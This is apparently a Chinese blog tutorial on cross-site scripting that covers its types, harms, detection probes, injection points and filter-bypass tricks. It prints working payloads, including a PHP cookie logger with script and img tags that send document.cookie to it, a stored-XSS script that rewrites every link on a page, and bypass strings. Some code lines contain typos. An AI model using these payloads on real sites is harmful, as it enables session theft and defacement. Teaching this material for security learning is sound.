XSS漏洞

0x00 简介

跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害。

0x01 分类

反射型

只是简单地把用户输入的数据”反射”给浏览器,攻击时需要用户配合点击,也叫”非持久型xss”。

存储型

会把用户输入的数据”存储”在服务器端,也叫”持久性xss”,常见留言板等可以提交展示用户输入内容的功能点。

DOM型

这种类型的XSS并非按照“数据是否保存在服务器端”来划分的,从效果上来说也是反射型XSS单独划分出来的,因为DOM Based XSS 的形成原因比较特别。这是由于客户端脚本自身解析不正确导致的安全问题。

反射型和存储型,是与服务端交互的,即服务端将提交的内容反馈到了html源码内,导致触发xss,也就是说返回到html源码中可以看到触发xss的代码;而DOM型xss是不与服务端交互的,只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来。那么这种形式有一个问题,就是html源码里面不存在触发xss的代码,因为服务端返回的源码都是一样的,只不过源码里面包含了一段js,这段js再执行后生成了一段xss代码,可以在审查元素中查看到。

0x03 危害

cookie劫持(窃取cookie)
后台增删改文章等操作(类似于csrf骗取用户点击,利用js模拟浏览器发包,借助xmlhttprequest类)
钓鱼,利用xss构造出一个登录框,骗取用户账户密码。
Xss蠕虫(利用xss漏洞进行传播)
修改网页代码
利用网站重定向
获取用户信息(如浏览器信息,IP地址等)

0x04 检测方法

通常有一些方式可以测试网站是否有正确处理特殊字符:

1
2
3
4
5
6
7
8
9
10
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert (vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://888.888.com/999.png" onerror="alert('XSS')">
<div style="height:expression(alert('XSS'),1)"></div>
XSS探针

我们可以在测试xss的位置写入以下代码,查看页面源码,观察哪些代码被过滤或者转义。

1
'';!--"<XSS>=&{()}

xss探针可检测出网站有没有对xss漏洞做最基础的防御。

0x05 常见 XSS 注入点

HTML 节点内容,例如动态生成,里面包含用户输入信息,那么有可能会携带脚本;
HTML 节点属性,例如图片的 onerror、onclick 事件;超链接 href、输入框 value 属性;
JavaScript 代码,例如 JS 代码中存在后台注入的变量或如 react 的 dangerouslySetInnerHTML;
富文本,例如富文本需要过滤需要正常展示的 html 代码之外的脚本;

0x06 实例

获取cookie

cookie.php后端代码:

1
2
3
4
5
6
<? php
$cookie=$_GET['cookie'];
$log=fopen("cookie. txt","a");
fwrite($1og,$cookie."\n");
fclose($1og);
?>

这是用于接收cookie,并将其写入cookie.txt文件中。

在存在xss漏洞的地方,插入以下代码,便可以将cookie发送到cookie.php,并且将cookie参数传递进去,写入文件中。

1
2
3
<script〉
new Image (). src="http://localhost/sspt/XSS/cookie.php?cookie="+document. cookie;
</script〉

常用获取cookie的js代码:

1
2
<img src="http://localhost/cspt/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/cspt/XSS/xss_cookie.php?cookie="+document.cookie;</script>

提交之后,本地cookie.txt文件中就会写入cookie值。

利用xss篡改网页

前提:网站必须存在存储型xss漏洞,并且会将结果返回到页面上。
这样我们就可以插入一段js代码,作用在于获取网站源码中的标签,然后修改其中的属性值,达到修改网页的效果。
编写javascript脚本如下:

1
2
3
4
5
var objs=document. getElementsByTagName("a");
var b=objs. length ;
for(var a=0;a<b;a++){
objs[a]. href="http://www.bilibili.com";
}

将以下语句插入存在存储型xss漏洞的网站

1
<script type='text/javascript' src='http://localhost/cspt/XSS/test.js'></script>

可以发现存在该漏洞的网页上所有的链接都变成了www.bilibili.com

利用xss获取用户信息

xss获取用户信息,运用最多的还是获取cookie信息,但除此之外,还可以获取用户浏览器版本、外网IP地址、浏览器安装的插件类型等等。以下列举了利用xss获取的客户端用户信息(包含但不仅限于以下几种)。

1
2
3
alert(navigator.userAgent);读取userAgent内容
alert(document.cookie);读取用户cookie内容
利用java环境,调用java Applet的接口获取客户端本地IP

0x07 常用绕过技巧

转换大小写
大小写混写
双引号改单引号
引号改为/
用全角字符
使用javascript伪协议
使用回车、空格等特殊字符
在css的style中使用/**/注释符
使用字符编码
利用事件触发xss

绕过XSS filter

绕过xss filter的前提在于,xss filter使用了黑名单,并且没有过滤完全。
前提一:如果过滤了”《script》”字符串,但没有过滤”<”、”>”字符,则可以使用javascript:[code]伪协议的形式。

1
<img src="javascript:alert('test');">

前提二:过滤了《script》,且只过滤一次。

1
<scr<script>ipt>

前提三:没有正确处理空格、回车等字符

1
2
3
<img src="javas
Cript:
Alert(/xss/)" width=100>

参考资料:https://thief.one/2017/05/31/1/
https://zh.wikipedia.org/w/index.php?title=%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC&action=edit&section=3

-------------本文结束感谢您的阅读-------------
/*
*/